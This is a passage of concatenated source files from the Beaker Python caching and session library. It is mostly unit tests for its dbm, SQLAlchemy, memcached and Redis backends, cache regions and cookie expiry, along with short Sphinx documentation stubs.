_test_upgrade_in(dir): cache = Cache('test', data_dir=dir, type='dbm') assert 'foo' in cache assert 'foo' in cache def _test_upgrade_setitem(dir): cache = Cache('test', data_dir=dir, type='dbm') assert cache['foo'] == 'bar' assert cache['foo'] == 'bar' def teardown(): import shutil shutil.rmtree('./cache', True) <file_sep>/beaker/docs/modules/mongodb.rst :mod:`beaker.ext.mongodb` -- MongoDB NameSpace Manager and Synchronizer ============================================================================== .. automodule:: beaker.ext.mongodb Module Contents --------------- .. autoclass:: MongoNamespaceManager .. autoclass:: MongoSynchronizer <file_sep>/beaker/docs/modules/redis.rst :mod:`beaker.ext.redisnm` -- Redis NameSpace Manager and Synchronizer ============================================================================== .. automodule:: beaker.ext.redisnm Module Contents --------------- .. autoclass:: RedisNamespaceManager .. autoclass:: RedisSynchronizer <file_sep>/tests/test_sqla.py # coding: utf-8 from beaker._compat import u_ from beaker.cache import clsmap, Cache, util from beaker.exceptions import InvalidCacheBackendError from beaker.middleware import CacheMiddleware from nose import SkipTest try: from webtest import TestApp except ImportError: TestApp = None try: clsmap['ext:sqla']._init_dependencies() except InvalidCacheBackendError: raise SkipTest("an appropriate SQLAlchemy backend is not installed") import sqlalchemy as sa from beaker.ext.sqla import make_cache_table engine = sa.create_engine('sqlite://') metadata = sa.MetaData() cache_table = make_cache_table(metadata) metadata.create_all(engine) def simple_app(environ, start_response): extra_args = {} clear = False if environ.get('beaker.clear'): clear = True extra_args['type'] = 'ext:sqla' extra_args['bind'] = engine extra_args['table'] = cache_table extra_args['data_dir'] = './cache' cache = environ['beaker.cache'].get_cache('testcache', **extra_args) if clear: cache.clear() try: value = cache.get_value('value') except: value = 0 cache.set_value('value', value+1) start_response('200 OK', [('Content-type', 'text/plain')]) return [('The current value is: %s' % cache.get_value('value')).encode('utf-8')] def cache_manager_app(environ, start_response): cm = environ['beaker.cache'] cm.get_cache('test')['test_key'] = 'test value' start_response('200 OK', [('Content-type', 'text/plain')]) yield ("test_key is: %s\n" % cm.get_cache('test')['test_key']).encode('utf-8') cm.get_cache('test').clear() try: test_value = cm.get_cache('test')['test_key'] except KeyError: yield ("test_key cleared").encode('utf-8') else: test_value = cm.get_cache('test')['test_key'] yield ("test_key wasn't cleared, is: %s\n" % test_value).encode('utf-8') def make_cache(): """Return a ``Cache`` for use by the unit tests.""" return Cache('test', data_dir='./cache', bind=engine, table=cache_table, type='ext:sqla') def test_has_key(): cache = make_cache() o = object() cache.set_value("test", o) assert cache.has_key("test") assert "test" in cache assert not cache.has_key("foo") assert "foo" not in cache cache.remove_value("test") assert not cache.has_key("test") def test_has_key_multicache(): cache = make_cache() o = object() cache.set_value("test", o) assert cache.has_key("test") assert "test" in cache cache = make_cache() assert cache.has_key("test") cache.remove_value('test') def test_clear(): cache = make_cache() o = object() cache.set_value("test", o) assert cache.has_key("test") cache.clear() assert not cache.has_key("test") def test_unicode_keys(): cache = make_cache() o = object() cache.set_value(u_('hiŏ'), o) assert u_('hiŏ') in cache assert u_('hŏa') not in cache cache.remove_value(u_('hiŏ')) assert u_('hiŏ') not in cache @util.skip_if(lambda: TestApp is None, "webtest not installed") def test_increment(): app = TestApp(CacheMiddleware(simple_app)) res = app.get('/', extra_environ={'beaker.clear': True}) assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res res = app.get('/') assert 'current value is: 3' in res @util.skip_if(lambda: TestApp is None, "webtest not installed") def test_cache_manager(): app = TestApp(CacheMiddleware(cache_manager_app)) res = app.get('/') assert 'test_key is: test value' in res assert 'test_key cleared' in res <file_sep>/tests/test_managers/base.py # coding: utf-8 import threading import unittest import time import datetime from beaker._compat import u_ from beaker.cache import Cache from beaker.middleware import SessionMiddleware, CacheMiddleware from webtest import TestApp class CacheManagerBaseTests(unittest.TestCase): SUPPORTS_EXPIRATION = True CACHE_ARGS = {} @classmethod def setUpClass(cls): def simple_session_app(environ, start_response): session = environ['beaker.session'] sess_id = environ.get('SESSION_ID') if environ['PATH_INFO'].startswith('/invalid'): # Attempt to access the session id = session.id session['value'] = 2 else: if sess_id: session = session.get_by_id(sess_id) if not session: start_response('200 OK', [('Content-type', 'text/plain')]) return [("No session id of %s found." % sess_id).encode('utf-8')] if not session.has_key('value'): session['value'] = 0 session['value'] += 1 if not environ['PATH_INFO'].startswith('/nosave'): session.save() start_response('200 OK', [('Content-type', 'text/plain')]) return [('The current value is: %d, session id is %s' % (session['value'], session.id)).encode('utf-8')] def simple_app(environ, start_response): extra_args = cls.CACHE_ARGS clear = False if environ.get('beaker.clear'): clear = True cache = environ['beaker.cache'].get_cache('testcache', **extra_args) if clear: cache.clear() try: value = cache.get_value('value') except: value = 0 cache.set_value('value', value + 1) start_response('200 OK', [('Content-type', 'text/plain')]) return [('The current value is: %s' % cache.get_value('value')).encode('utf-8')] def using_none_app(environ, start_response): extra_args = cls.CACHE_ARGS clear = False if environ.get('beaker.clear'): clear = True cache = environ['beaker.cache'].get_cache('testcache', **extra_args) if clear: cache.clear() try: value = cache.get_value('value') except: value = 10 cache.set_value('value', None) start_response('200 OK', [('Content-type', 'text/plain')]) return [('The current value is: %s' % value).encode('utf-8')] def cache_manager_app(environ, start_response): cm = environ['beaker.cache'] cm.get_cache('test')['test_key'] = 'test value' start_response('200 OK', [('Content-type', 'text/plain')]) yield ("test_key is: %s\n" % cm.get_cache('test')['test_key']).encode('utf-8') cm.get_cache('test').clear() try: test_value = cm.get_cache('test')['test_key'] except KeyError: yield "test_key cleared".encode('utf-8') else: yield ( "test_key wasn't cleared, is: %s\n" % cm.get_cache('test')['test_key'] ).encode('utf-8') cls.simple_session_app = staticmethod(simple_session_app) cls.simple_app = staticmethod(simple_app) cls.using_none_app = staticmethod(using_none_app) cls.cache_manager_app = staticmethod(cache_manager_app) def setUp(self): Cache('test', **self.CACHE_ARGS).clear() def test_session(self): app = TestApp(SessionMiddleware(self.simple_session_app, **self.CACHE_ARGS)) res = app.get('/') assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res res = app.get('/') assert 'current value is: 3' in res def test_session_invalid(self): app = TestApp(SessionMiddleware(self.simple_session_app, **self.CACHE_ARGS)) res = app.get('/invalid', headers=dict( Cookie='beaker.session.id=df7324911e246b70b5781c3c58328442; Path=/')) assert 'current value is: 2' in res def test_has_key(self): cache = Cache('test', **self.CACHE_ARGS) o = object() cache.set_value("test", o) assert cache.has_key("test") assert "test" in cache assert not cache.has_key("foo") assert "foo" not in cache cache.remove_value("test") assert not cache.has_key("test") def test_clear(self): cache = Cache('test', **self.CACHE_ARGS) cache.set_value('test', 20) cache.set_value('fred', 10) assert cache.has_key('test') assert 'test' in cache assert cache.has_key('fred') cache.clear() assert not cache.has_key("test") def test_has_key_multicache(self): cache = Cache('test', **self.CACHE_ARGS) o = object() cache.set_value("test", o) assert cache.has_key("test") assert "test" in cache cache = Cache('test', **self.CACHE_ARGS) assert cache.has_key("test") def test_unicode_keys(self): cache = Cache('test', **self.CACHE_ARGS) o = object() cache.set_value(u_('hiŏ'), o) assert u_('hiŏ') in cache assert u_('hŏa') not in cache cache.remove_value(u_('hiŏ')) assert u_('hiŏ') not in cache def test_long_unicode_keys(self): cache = Cache('test', **self.CACHE_ARGS) o = object() long_str = u_( 'Очень длинная строка, которая не влезает в сто двадцать восемь байт и поэтому не проходит ограничение в check_key, что очень прискорбно, не правда ли, друзья? Давайте же скорее исправим это досадное недоразумение!' ) cache.set_value(long_str, o) assert long_str in cache cache.remove_value(long_str) assert long_str not in cache def test_spaces_in_unicode_keys(self): cache = Cache('test', **self.CACHE_ARGS) o = object() cache.set_value(u_('hi ŏ'), o) assert u_('hi ŏ') in cache assert u_('hŏa') not in cache cache.remove_value(u_('hi ŏ')) assert u_('hi ŏ') not in cache def test_spaces_in_keys(self): cache = Cache('test', **self.CACHE_ARGS) cache.set_value("has space", 24) assert cache.has_key("has space") assert 24 == cache.get_value("has space") cache.set_value("hasspace", 42) assert cache.has_key("hasspace") assert 42 == cache.get_value("hasspace") def test_increment(self): app = TestApp(CacheMiddleware(self.simple_app)) res = app.get('/', extra_environ={'beaker.clear': True}) assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res res = app.get('/') assert 'current value is: 3' in res app = TestApp(CacheMiddleware(self.simple_app)) res = app.get('/', extra_environ={'beaker.clear': True}) assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res res = app.get('/') assert 'current value is: 3' in res def test_cache_manager(self): app = TestApp(CacheMiddleware(self.cache_manager_app)) res = app.get('/') assert 'test_key is: test value' in res assert 'test_key cleared' in res def test_store_none(self): app = TestApp(CacheMiddleware(self.using_none_app)) res = app.get('/', extra_environ={'beaker.clear': True}) assert 'current value is: 10' in res res = app.get('/') assert 'current value is: None' in res def test_expiretime(self): cache = Cache('test', **self.CACHE_ARGS) cache.set_value("has space", 24, expiretime=1) assert cache.has_key("has space") time.sleep(1.1) assert not cache.has_key("has space") def test_expiretime_automatic(self): if not self.SUPPORTS_EXPIRATION: self.skipTest('NamespaceManager does not support automatic expiration') cache = Cache('test', **self.CACHE_ARGS) cache.set_value("has space", 24, expiretime=1) assert cache.namespace.has_key("has space") time.sleep(1.1) assert not cache.namespace.has_key("has space") def test_createfunc(self): cache = Cache('test', **self.CACHE_ARGS) def createfunc(): createfunc.count += 1 return createfunc.count createfunc.count = 0 def keepitlocked(): lock = cache.namespace.get_creation_lock('test') lock.acquire() keepitlocked.acquired = True time.sleep(1.0) lock.release() keepitlocked.acquired = False v0 = cache.get_value('test', createfunc=createfunc) self.assertEqual(v0, 1) v0 = cache.get_value('test', createfunc=createfunc) self.assertEqual(v0, 1) cache.remove_value('test') begin = datetime.datetime.utcnow() t = threading.Thread(target=keepitlocked) t.start() while not keepitlocked.acquired: # Wait for the thread that should lock the cache to start. time.sleep(0.001) v0 = cache.get_value('test', createfunc=createfunc) self.assertEqual(v0, 2) # Ensure that the `get_value` was blocked by the concurrent thread. assert datetime.datetime.utcnow() - begin > datetime.timedelta(seconds=1) t.join() <file_sep>/tests/test_namespacing.py import os import sys def teardown(): import shutil shutil.rmtree('./cache', True) def test_consistent_namespacing(): sys.path.append(os.path.dirname(__file__)) from tests.test_namespacing_files.namespace_go import go go() <file_sep>/tests/test_managers/test_ext_redis.py from beaker.cache import Cache from . import base class TestRedis(base.CacheManagerBaseTests): CACHE_ARGS = { 'type': 'ext:redis', 'url': 'redis://localhost:6379/13' } def test_client_reuse(self): cache1 = Cache('test1', **self.CACHE_ARGS) cli1 = cache1.namespace.client cache2 = Cache('test2', **self.CACHE_ARGS) cli2 = cache2.namespace.client self.assertTrue(cli1 is cli2)<file_sep>/beaker/docs/modules/session.rst :mod:`beaker.session` -- Session classes ======================================== .. automodule:: beaker.session Module Contents --------------- .. autoclass:: CookieSession :members: save, expire, delete, invalidate .. autoclass:: Session :members: save, revert, lock, unlock, delete, invalidate .. autoclass:: SessionObject :members: persist, get_by_id, accessed .. autoclass:: SignedCookie .. autodata:: InvalidSignature <file_sep>/tests/test_memcached.py # coding: utf-8 from beaker._compat import u_ import mock import os from beaker.cache import clsmap, Cache, CacheManager, util from beaker.middleware import CacheMiddleware, SessionMiddleware from beaker.exceptions import InvalidCacheBackendError from beaker.util import parse_cache_config_options from nose import SkipTest import unittest try: from webtest import TestApp except ImportError: TestApp = None try: from beaker.ext import memcached client = memcached._load_client() except InvalidCacheBackendError: raise SkipTest("an appropriate memcached backend is not installed") mc_url = '127.0.0.1:11211' c =client.Client([mc_url]) c.set('x', 'y') if not c.get('x'): raise SkipTest("Memcached is not running at %s" % mc_url) def teardown(): import shutil shutil.rmtree('./cache', True) def simple_session_app(environ, start_response): session = environ['beaker.session'] sess_id = environ.get('SESSION_ID') if environ['PATH_INFO'].startswith('/invalid'): # Attempt to access the session id = session.id session['value'] = 2 else: if sess_id: session = session.get_by_id(sess_id) if not session: start_response('200 OK', [('Content-type', 'text/plain')]) return ["No session id of %s found." % sess_id] if not session.has_key('value'): session['value'] = 0 session['value'] += 1 if not environ['PATH_INFO'].startswith('/nosave'): session.save() start_response('200 OK', [('Content-type', 'text/plain')]) return ['The current value is: %d, session id is %s' % (session['value'], session.id)] def simple_app(environ, start_response): extra_args = {} clear = False if environ.get('beaker.clear'): clear = True extra_args['type'] = 'ext:memcached' extra_args['url'] = mc_url extra_args['data_dir'] = './cache' cache = environ['beaker.cache'].get_cache('testcache', **extra_args) if clear: cache.clear() try: value = cache.get_value('value') except: value = 0 cache.set_value('value', value+1) start_response('200 OK', [('Content-type', 'text/plain')]) return ['The current value is: %s' % cache.get_value('value')] def using_none_app(environ, start_response): extra_args = {} clear = False if environ.get('beaker.clear'): clear = True extra_args['type'] = 'ext:memcached' extra_args['url'] = mc_url extra_args['data_dir'] = './cache' cache = environ['beaker.cache'].get_cache('testcache', **extra_args) if clear: cache.clear() try: value = cache.get_value('value') except: value = 10 cache.set_value('value', None) start_response('200 OK', [('Content-type', 'text/plain')]) return ['The current value is: %s' % value] def cache_manager_app(environ, start_response): cm = environ['beaker.cache'] cm.get_cache('test')['test_key'] = 'test value' start_response('200 OK', [('Content-type', 'text/plain')]) yield "test_key is: %s\n" % cm.get_cache('test')['test_key'] cm.get_cache('test').clear() try: test_value = cm.get_cache('test')['test_key'] except KeyError: yield "test_key cleared" else: yield "test_key wasn't cleared, is: %s\n" % \ cm.get_cache('test')['test_key'] @util.skip_if(lambda: TestApp is None, "webtest not installed") def test_session(): app = TestApp(SessionMiddleware(simple_session_app, data_dir='./cache', type='ext:memcached', url=mc_url)) res = app.get('/') assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res res = app.get('/') assert 'current value is: 3' in res @util.skip_if(lambda: TestApp is None, "webtest not installed") def test_session_invalid(): app = TestApp(SessionMiddleware(simple_session_app, data_dir='./cache', type='ext:memcached', url=mc_url)) res = app.get('/invalid', headers=dict(Cookie='beaker.session.id=df7324911e246b70b5781c3c58328442; Path=/')) assert 'current value is: 2' in res def test_has_key(): cache = Cache('test', data_dir='./cache', url=mc_url, type='ext:memcached') o = object() cache.set_value("test", o) assert cache.has_key("test") assert "test" in cache assert not cache.has_key("foo") assert "foo" not in cache cache.remove_value("test") assert not cache.has_key("test") def test_dropping_keys(): cache = Cache('test', data_dir='./cache', url=mc_url, type='ext:memcached') cache.set_value('test', 20) cache.set_value('fred', 10) assert cache.has_key('test') assert 'test' in cache assert cache.has_key('fred') # Directly nuke the actual key, to simulate it being removed by memcached cache.namespace.mc.delete('test_test') assert not cache.has_key('test') assert cache.has_key('fred') # Nuke the keys dict, it might die, who knows cache.namespace.mc.delete('test:keys') assert cache.has_key('fred') # And we still need clear to work, even if it won't work well cache.clear() def test_deleting_keys(): cache = Cache('test', data_dir='./cache', url=mc_url, type='ext:memcached') cache.set_value('test', 20) # Nuke the keys dict, it might die, who knows cache.namespace.mc.delete('test:keys') assert cache.has_key('test') # make sure we can still delete keys even though our keys dict got nuked del cache['test'] assert not cache.has_key('test') def test_has_key_multicache(): cache = Cache('test', data_dir='./cache', url=mc_url, type='ext:memcached') o = object() cache.set_value("test", o) assert cache.has_key("test") assert "test" in cache cache = Cache('test', data_dir='./cache', url=mc_url, type='ext:memcached') assert cache.has_key("test") def test_unicode_keys(): cache = Cache('test', data_dir='./cache', url=mc_url, type='ext:memcached') o = object() cache.set_value(u_('hiŏ'), o) assert u_('hiŏ') in cache assert u_('hŏa') not in cache cache.remove_value(u_('hiŏ')) assert u_('hiŏ') not in cache def test_long_unicode_keys(): cache = Cache('test', data_dir='./cache', url=mc_url, type='ext:memcached') o = object() long_str = u_('Очень длинная строка, которая не влезает в сто двадцать восемь байт и поэтому не проходит ограничение в check_key, что очень прискорбно, не правда ли, друзья? Давайте же скорее исправим это досадное недоразумение!') cache.set_value(long_str, o) assert long_str in cache cache.remove_value(long_str) assert long_str not in cache def test_spaces_in_unicode_keys(): cache = Cache('test', data_dir='./cache', url=mc_url, type='ext:memcached') o = object() cache.set_value(u_('hi ŏ'), o) assert u_('hi ŏ') in cache assert u_('hŏa') not in cache cache.remove_value(u_('hi ŏ')) assert u_('hi ŏ') not in cache def test_spaces_in_keys(): cache = Cache('test', data_dir='./cache', url=mc_url, type='ext:memcached') cache.set_value("has space", 24) assert cache.has_key("has space") assert 24 == cache.get_value("has space") cache.set_value("hasspace", 42) assert cache.has_key("hasspace") assert 42 == cache.get_value("hasspace") @util.skip_if(lambda: TestApp is None, "webtest not installed") def test_increment(): app = TestApp(CacheMiddleware(simple_app)) res = app.get('/', extra_environ={'beaker.clear':True}) assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res res = app.get('/') assert 'current value is: 3' in res app = TestApp(CacheMiddleware(simple_app)) res = app.get('/', extra_environ={'beaker.clear':True}) assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res res = app.get('/') assert 'current value is: 3' in res @util.skip_if(lambda: TestApp is None, "webtest not installed") def test_cache_manager(): app = TestApp(CacheMiddleware(cache_manager_app)) res = app.get('/') assert 'test_key is: test value' in res assert 'test_key cleared' in res @util.skip_if(lambda: TestApp is None, "webtest not installed") def test_store_none(): app = TestApp(CacheMiddleware(using_none_app)) res = app.get('/', extra_environ={'beaker.clear':True}) assert 'current value is: 10' in res res = app.get('/') assert 'current value is: None' in res class TestPylibmcInit(unittest.TestCase): def setUp(self): from beaker.ext import memcached try: import pylibmc as memcache except: import memcache memcached._client_libs['pylibmc'] = memcached.pylibmc = memcache from contextlib import contextmanager class ThreadMappedPool(dict): "a mock of pylibmc's ThreadMappedPool" def __init__(self, master): self.master = master @contextmanager def reserve(self): yield self.master memcache.ThreadMappedPool = ThreadMappedPool def test_uses_pylibmc_client(self): from beaker.ext import memcached cache = Cache('test', data_dir='./cache', memcache_module='pylibmc', url=mc_url, type="ext:memcached") assert isinstance(cache.namespace, memcached.PyLibMCNamespaceManager) def test_dont_use_pylibmc_client(self): from beaker.ext.memcached import _load_client load_mock = mock.Mock() load_mock.return_value = _load_client('memcache') with mock.patch('beaker.ext.memcached._load_client', load_mock): cache = Cache('test', data_dir='./cache', url=mc_url, type="ext:memcached") assert not isinstance(cache.namespace, memcached.PyLibMCNamespaceManager) assert isinstance(cache.namespace, memcached.MemcachedNamespaceManager) def test_client(self): cache = Cache('test', data_dir='./cache', url=mc_url, type="ext:memcached", protocol='binary') o = object() cache.set_value("test", o) assert cache.has_key("test") assert "test" in cache assert not cache.has_key("foo") assert "foo" not in cache cache.remove_value("test") assert not cache.has_key("test") def test_client_behaviors(self): config = { 'cache.lock_dir':'./lock', 'cache.data_dir':'./cache', 'cache.type':'ext:memcached', 'cache.url':mc_url, 'cache.memcache_module':'pylibmc', 'cache.protocol':'binary', 'cache.behavior.ketama': 'True', 'cache.behavior.cas':False, 'cache.behavior.receive_timeout':'3600', 'cache.behavior.send_timeout':1800, 'cache.behavior.tcp_nodelay':1, 'cache.behavior.auto_eject':"0" } cache_manager = CacheManager(**parse_cache_config_options(config)) cache = cache_manager.get_cache('test_behavior', expire=6000) with cache.namespace.pool.reserve() as mc: assert "ketama" in mc.behaviors assert mc.behaviors["ketama"] == 1 assert "cas" in mc.behaviors assert mc.behaviors["cas"] == 0 assert "receive_timeout" in mc.behaviors assert mc.behaviors["receive_timeout"] == 3600 assert "send_timeout" in mc.behaviors assert mc.behaviors["send_timeout"] == 1800 assert "tcp_nodelay" in mc.behaviors assert mc.behaviors["tcp_nodelay"] == 1 assert "auto_eject" in mc.behaviors assert mc.behaviors["auto_eject"] == 0 def test_pylibmc_pool_sharing(self): from beaker.ext import memcached cache_1a = Cache('test_1a', data_dir='./cache', memcache_module='pylibmc', url=mc_url, type="ext:memcached") cache_1b = Cache('test_1b', data_dir='./cache', memcache_module='pylibmc', url=mc_url, type="ext:memcached") cache_2 = Cache('test_2', data_dir='./cache', memcache_module='pylibmc', url='127.0.0.1:11212', type="ext:memcached") assert (cache_1a.namespace.pool is cache_1b.namespace.pool) assert (cache_1a.namespace.pool is not cache_2.namespace.pool) <file_sep>/tests/test_container.py import os import random import time from beaker.container import * from beaker.synchronization import _synchronizers from beaker.cache import clsmap from threading import Thread class CachedWidget(object): totalcreates = 0 delay = 0 def __init__(self): CachedWidget.totalcreates += 1 time.sleep(CachedWidget.delay) self.time = time.time() def _run_container_test(cls, totaltime, expiretime, delay, threadlocal): print("\ntesting %s for %d secs with expiretime %s delay %d" % ( cls, totaltime, expiretime, delay)) CachedWidget.totalcreates = 0 CachedWidget.delay = delay # allow for python overhead when checking current time against expire times fudge = 10 starttime = time.time() running = [True] class RunThread(Thread): def run(self): print("%s starting" % self) if threadlocal: localvalue = Value( 'test', cls('test', data_dir='./cache'), createfunc=CachedWidget, expiretime=expiretime, starttime=starttime) localvalue.clear_value() else: localvalue = value try: while running[0]: item = localvalue.get_value() if expiretime is not None: currenttime = time.time() itemtime = item.time assert itemtime + expiretime + delay + fudge >= currenttime, \ "created: %f expire: %f delay: %f currenttime: %f" % \ (itemtime, expiretime, delay, currenttime) time.sleep(random.random() * .00001) except: running[0] = False raise print("%s finishing" % self) if not threadlocal: value = Value( 'test', cls('test', data_dir='./cache'), createfunc=CachedWidget, expiretime=expiretime, starttime=starttime) value.clear_value() else: value = None threads = [RunThread() for i in range(1, 8)] for t in threads: t.start() time.sleep(totaltime) failed = not running[0] running[0] = False for t in threads: t.join() assert not failed, "One or more threads failed" if expiretime is None: expected = 1 else: expected = totaltime / expiretime + 1 assert CachedWidget.totalcreates <= expected, \ "Number of creates %d exceeds expected max %d" % (CachedWidget.totalcreates, expected) def test_memory_container(totaltime=10, expiretime=None, delay=0, threadlocal=False): _run_container_test(clsmap['memory'], totaltime, expiretime, delay, threadlocal) def test_dbm_container(totaltime=10, expiretime=None, delay=0): _run_container_test(clsmap['dbm'], totaltime, expiretime, delay, False) def test_file_container(totaltime=10, expiretime=None, delay=0, threadlocal=False): _run_container_test(clsmap['file'], totaltime, expiretime, delay, threadlocal) def test_memory_container_tlocal(): test_memory_container(expiretime=15, delay=2, threadlocal=True) def test_memory_container_2(): test_memory_container(expiretime=12) def test_memory_container_3(): test_memory_container(expiretime=15, delay=2) def test_dbm_container_2(): test_dbm_container(expiretime=12) def test_dbm_container_3(): test_dbm_container(expiretime=15, delay=2) def test_file_container_2(): test_file_container(expiretime=12) def test_file_container_3(): test_file_container(expiretime=15, delay=2) def test_file_container_tlocal(): test_file_container(expiretime=15, delay=2, threadlocal=True) def test_file_open_bug(): """ensure errors raised during reads or writes don't lock the namespace open.""" value = Value('test', clsmap['file']('reentrant_test', data_dir='./cache')) if os.path.exists(value.namespace.file): os.remove(value.namespace.file) value.set_value("x") f = open(value.namespace.file, 'w') f.write("BLAH BLAH BLAH") f.close() # TODO: do we have an assertRaises() in nose to use here ? try: value.set_value("y") assert False except: pass _synchronizers.clear() value = Value('test', clsmap['file']('reentrant_test', data_dir='./cache')) # TODO: do we have an assertRaises() in nose to use here ? try: value.set_value("z") assert False except: pass def test_removing_file_refreshes(): """test that the cache doesn't ignore file removals""" x = [0] def create(): x[0] += 1 return x[0] value = Value('test', clsmap['file']('refresh_test', data_dir='./cache'), createfunc=create, starttime=time.time() ) if os.path.exists(value.namespace.file): os.remove(value.namespace.file) assert value.get_value() == 1 assert value.get_value() == 1 os.remove(value.namespace.file) assert value.get_value() == 2 def teardown(): import shutil shutil.rmtree('./cache', True) <file_sep>/tests/test_synchronizer.py from beaker.synchronization import * # TODO: spawn threads, test locking. def teardown(): import shutil shutil.rmtree('./cache', True) def test_reentrant_file(): sync1 = file_synchronizer('test', lock_dir='./cache') sync2 = file_synchronizer('test', lock_dir='./cache') sync1.acquire_write_lock() sync2.acquire_write_lock() sync2.release_write_lock() sync1.release_write_lock() def test_null(): sync = null_synchronizer() assert sync.acquire_write_lock() sync.release_write_lock() def test_mutex(): sync = mutex_synchronizer('someident') sync.acquire_write_lock() sync.release_write_lock() <file_sep>/tests/test_cachemanager.py import time from datetime import datetime import shutil from beaker.cache import CacheManager, cache_regions from beaker.util import parse_cache_config_options defaults = {'cache.data_dir':'./cache', 'cache.type':'dbm', 'cache.expire': 2} def teardown(): import shutil shutil.rmtree('./cache', True) def make_cache_obj(**kwargs): opts = defaults.copy() opts.update(kwargs) cache = CacheManager(**parse_cache_config_options(opts)) return cache def make_region_cached_func(): global _cache_obj opts = {} opts['cache.regions'] = 'short_term, long_term' opts['cache.short_term.expire'] = '2' cache = make_cache_obj(**opts) @cache.region('short_term', 'region_loader') def load(person): now = datetime.now() return "Hi there %s, its currently %s" % (person, now) _cache_obj = cache return load def make_cached_func(): global _cache_obj cache = make_cache_obj() @cache.cache('loader') def load(person): now = datetime.now() return "Hi there %s, its currently %s" % (person, now) _cache_obj = cache return load def test_parse_doesnt_allow_none(): opts = {} opts['cache.regions'] = 'short_term, long_term' for region, params in parse_cache_config_options(opts)['cache_regions'].items(): for k, v in params.items(): assert v != 'None', k def test_parse_doesnt_allow_empty_region_name(): opts = {} opts['cache.regions'] = '' regions = parse_cache_config_options(opts)['cache_regions'] assert len(regions) == 0 def test_decorators(): for func in (make_region_cached_func, make_cached_func): yield check_decorator, func() def check_decorator(func): result = func('Fred') assert 'Fred' in result result2 = func('Fred') assert result == result2 result3 = func('George') assert 'George' in result3 result4 = func('George') assert result3 == result4 time.sleep(2) result2 = func('Fred') assert result != result2 def test_check_invalidate_region(): func = make_region_cached_func() result = func('Fred') assert 'Fred' in result result2 = func('Fred') assert result == result2 _cache_obj.region_invalidate(func, None, 'region_loader', 'Fred') result3 = func('Fred') assert result3 != result2 result2 = func('Fred') assert result3 == result2 # Invalidate a non-existent key _cache_obj.region_invalidate(func, None, 'region_loader', 'Fredd') assert result3 == result2 def test_check_invalidate(): func = make_cached_func() result = func('Fred') assert 'Fred' in result result2 = func('Fred') assert result == result2 _cache_obj.invalidate(func, 'loader', 'Fred') result3 = func('Fred') assert result3 != result2 result2 = func('Fred') assert result3 == result2 # Invalidate a non-existent key _cache_obj.invalidate(func, 'loader', 'Fredd') assert result3 == result2 def test_long_name(): func = make_cached_func() name = 'Fred' * 250 result = func(name) assert name in result result2 = func(name) assert result == result2 # This won't actually invalidate it since the key won't be sha'd _cache_obj.invalidate(func, 'loader', name, key_length=8000) result3 = func(name) assert result3 == result2 # And now this should invalidate it _cache_obj.invalidate(func, 'loader', name) result4 = func(name) assert result3 != result4 def test_cache_region_has_default_key_length(): try: cache = CacheManager(cache_regions={ 'short_term_without_key_length':{ 'expire': 60, 'type': 'memory' } }) # Check CacheManager registered the region in global regions assert 'short_term_without_key_length' in cache_regions @cache.region('short_term_without_key_length') def load_without_key_length(person): now = datetime.now() return "Hi there %s, its currently %s" % (person, now) # Ensure that same person gets same time msg = load_without_key_length('fred') msg2 = load_without_key_length('fred') assert msg == msg2, (msg, msg2) # Ensure that different person gets different time msg3 = load_without_key_length('george') assert msg3.split(',')[-1] != msg2.split(',')[-1] finally: # throw away region for this test cache_regions.pop('short_term_without_key_length', None) def test_cache_region_expire_is_always_int(): try: cache = CacheManager(cache_regions={ 'short_term_with_string_expire': { 'expire': '60', 'type': 'memory' } }) # Check CacheManager registered the region in global regions assert 'short_term_with_string_expire' in cache_regions @cache.region('short_term_with_string_expire') def load_with_str_expire(person): now = datetime.now() return "Hi there %s, its currently %s" % (person, now) # Ensure that same person gets same time msg = load_with_str_expire('fred') msg2 = load_with_str_expire('fred') assert msg == msg2, (msg, msg2) finally: # throw away region for this test cache_regions.pop('short_term_with_string_expire', None) def test_directory_goes_away(): cache = CacheManager(cache_regions={ 'short_term_without_key_length':{ 'expire': 60, 'type': 'dbm', 'data_dir': '/tmp/beaker-tests/cache/data', 'lock_dir': '/tmp/beaker-tests/cache/lock' } }) @cache.region('short_term_without_key_length') def load_with_str_expire(person): now = datetime.now() return "Hi there %s, its currently %s" % (person, now) # Ensure that same person gets same time msg = load_with_str_expire('fred') msg2 = load_with_str_expire('fred') shutil.rmtree('/tmp/beaker-tests') msg3 = load_with_str_expire('fred') assert msg == msg2, (msg, msg2) assert msg2 != msg3, (msg2, msg3)<file_sep>/tests/test_cookie_expires.py from beaker.middleware import SessionMiddleware from beaker.session import Session from nose.tools import * import datetime import re def test_cookie_expires(): """Explore valid arguments for cookie_expires.""" def app(*args, **kw): pass key = 'beaker.session.cookie_expires' now = datetime.datetime.now() values = ['300', 300, True, 'True', 'true', 't', False, 'False', 'false', 'f', datetime.timedelta(minutes=5), now] expected = [datetime.timedelta(seconds=300), datetime.timedelta(seconds=300), True, True, True, True, False, False, False, False, datetime.timedelta(minutes=5), now] actual = [] for pos, v in enumerate(values): try: s = SessionMiddleware(app, config={key:v}) val = s.options['cookie_expires'] except: val = None assert_equal(val, expected[pos]) def cookie_expiration(session): cookie = session.cookie.output() expiry_m = re.match('Set-Cookie: beaker.session.id=[0-9a-f]{32}(; expires=[^;]+)?; Path=/', cookie) assert expiry_m expiry = expiry_m.group(1) if expiry is None: return True if re.match('; expires=(Mon|Tue), 1[89]-Jan-2038 [0-9:]{8} GMT', expiry): return False else: return expiry[10:] def test_cookie_exprires_2(): """Exhibit Set-Cookie: values.""" expires = cookie_expiration(Session({}, cookie_expires=True)) assert expires is True, expires no_expires = cookie_expiration(Session({}, cookie_expires=False)) assert no_expires is False, no_expires def test_set_cookie_expires(): """Exhibit Set-Cookie: values.""" session = Session({}, cookie_expires=True) assert cookie_expiration(session) is True session._set_cookie_expires(False) assert cookie_expiration(session) is False session._set_cookie_expires(True) assert cookie_expiration(session) is True <file_sep>/tests/test_pbkdf2.py from __future__ import unicode_literals from binascii import b2a_hex, a2b_hex from beaker.crypto.pbkdf2 import pbkdf2 def test_pbkdf2_test1(): result = pbkdf2("password", "<PASSWORD>", 1, dklen=16) expected = a2b_hex(b"cdedb5281bb2f801565a1122b2563515") assert result == expected, 